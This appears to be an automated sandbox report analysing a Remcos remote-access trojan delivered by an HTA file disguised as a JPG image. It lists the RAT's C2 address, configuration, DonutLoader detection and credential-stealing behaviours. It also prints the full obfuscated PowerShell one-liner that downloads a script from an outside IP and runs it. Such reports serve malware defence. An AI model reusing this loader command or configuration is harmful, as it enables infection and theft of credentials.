Analysis
- max time kernel
148s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
01/10/2026, 06:50
General
- Target images_95858005050050.JPG.hta
- Size 14KB
- Sample261001-hl554asbrf
- SHA256 e7de6197ad8312d8722b477d3ca988e196f17be5f5498eedc4b8d3c6c3791993
Malware Config
Extracted
-
remcos
-
7.3.1 Pro
-
NANO3
-
154.12.117.217:2408
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-NRRUSM
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Detects DonutLoader 1 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 1 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\images_95858005050050.JPG.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/C poWeRshelL -Ex byPaSS -NoP -w 1 -eC IAAgAHcAZwBFAHQAIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAB0gaAB0AHQAcAA6AC8ALwAxADkAMgAuADMALgA0ADcALgAxADgAOAAvADEAMwA1AC8AZwBpAHYAaQBuAGcAYgBlAHMAdAB0AGgAaQBuAGcAcwAuAGoAUwAdICAACQAJAAkACQAJAAkACQAJAAkACQAJAAkALQBPAHUAdABmAGkATABFACAACQAgAAkAIAAJAAkAIAAgAAkAIAAgACAACQAJACAACQAJACAAIAAgACAACQAJAAkACQAJAB0gJABFAG4AVgA6AEEAcABQAEQAQQBUAGEAXABnAGkAdgBpAG4AZwBiAGUAcwB0AHQAaABpAG4AZwBzAC4AagBTAB0gIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJgAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAdICQARQBuAFYAOgBhAFAAcABEAEEAdABBAFwAZwBpAHYAaQBuAGcAYgBlAHMAdAB0AGgAaQBuAGcAcwAuAGoAUwAdIA== "2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepoWeRshelL -Ex byPaSS -NoP -w 1 -eC IAAgAHcAZwBFAHQAIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAB0gaAB0AHQAcAA6AC8ALwAxADkAMgAuADMALgA0ADcALgAxADgAOAAvADEAMwA1AC8AZwBpAHYAaQBuAGcAYgBlAHMAdAB0AGgAaQBuAGcAcwAuAGoAUwAdICAACQAJAAkACQAJAAkACQAJAAkACQAJAAkALQBPAHUAdABmAGkATABFACAACQAgAAkAIAAJAAkAIAAgAAkAIAAgACAACQAJACAACQAJACAAIAAgACAACQAJAAkACQAJAB0gJABFAG4AVgA6AEEAcABQAEQAQQBUAGEAXABnAGkAdgBpAG4AZwBiAGUAcwB0AHQAaABpAG4AZwBzAC4AagBTAB0gIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJgAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAdICQARQBuAFYAOgBhAFAAcABEAEEAdABBAFwAZwBpAHYAaQBuAGcAYgBlAHMAdAB0AGgAaQBuAGcAcwAuAGoAUwAdIA== "3⤵
- Badlisted process makes network request
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\givingbestthings.jS"4⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\SXDUODTBYVVGUCWM.exe"C:\Users\Admin\Documents\SXDUODTBYVVGUCWM.exe" C:\Users\Admin\Documents\MWCUGVVYBTDOUDXS5⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Enumerates connected drives
- Reads the TCP/IP host and domain name from the registry
- outlook_office_path
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2JavaScript
1Windows Command Shell
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_ewsn3lfi.lij.ps1
givingbestthings.jS
MWCUGVVYBTDOUDXS
SXDUODTBYVVGUCWM.exe
memory/2124-15-0x0000000006630000-0x000000000664E000-memory.dmp
memory/2124-18-0x0000000006B70000-0x0000000006B8A000-memory.dmp
memory/2124-6-0x0000000006070000-0x00000000060D6000-memory.dmp
memory/2124-7-0x00000000060E0000-0x0000000006146000-memory.dmp
memory/2124-4-0x0000000074790000-0x0000000074F4C000-memory.dmp
memory/2124-13-0x0000000006150000-0x00000000064AB000-memory.dmp
memory/2124-0-0x00000000747A2000-0x00000000747A3000-memory.dmp
memory/2124-16-0x0000000006660000-0x00000000066AC000-memory.dmp
memory/2124-17-0x0000000007F60000-0x00000000085DC000-memory.dmp
memory/2124-5-0x0000000005FA0000-0x0000000005FC2000-memory.dmp
memory/2124-19-0x00000000747A2000-0x00000000747A3000-memory.dmp
memory/2124-20-0x0000000074790000-0x0000000074F4C000-memory.dmp
memory/2124-21-0x0000000074790000-0x0000000074F4C000-memory.dmp
memory/2124-3-0x00000000058E0000-0x0000000005F2A000-memory.dmp
memory/2124-28-0x0000000074790000-0x0000000074F4C000-memory.dmp
memory/2124-2-0x0000000074790000-0x0000000074F4C000-memory.dmp
memory/2124-1-0x0000000005160000-0x0000000005196000-memory.dmp
memory/5864-49-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-76-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-41-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-42-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-47-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-46-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-45-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-44-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-43-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-48-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-50-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-40-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-55-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-51-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-52-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-54-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-53-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-57-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-56-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-58-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-72-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-78-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-77-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-39-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-75-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-74-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-73-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-71-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-70-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-69-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-68-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-67-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-66-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-65-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-64-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-63-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-62-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-61-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-60-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-59-0x000000002A4F0000-0x000000002A500000-memory.dmp
memory/5864-79-0x0000000016380000-0x0000000017380000-memory.dmp
memory/5864-80-0x0000000002DD0000-0x0000000002E7F000-memory.dmp
memory/5864-81-0x0000000180000000-0x000000018012C000-memory.dmp
memory/5864-84-0x0000000180000000-0x000000018012C000-memory.dmp
memory/5864-85-0x0000000180000000-0x000000018012C000-memory.dmp
memory/5864-86-0x0000000000400000-0x000000000047B000-memory.dmp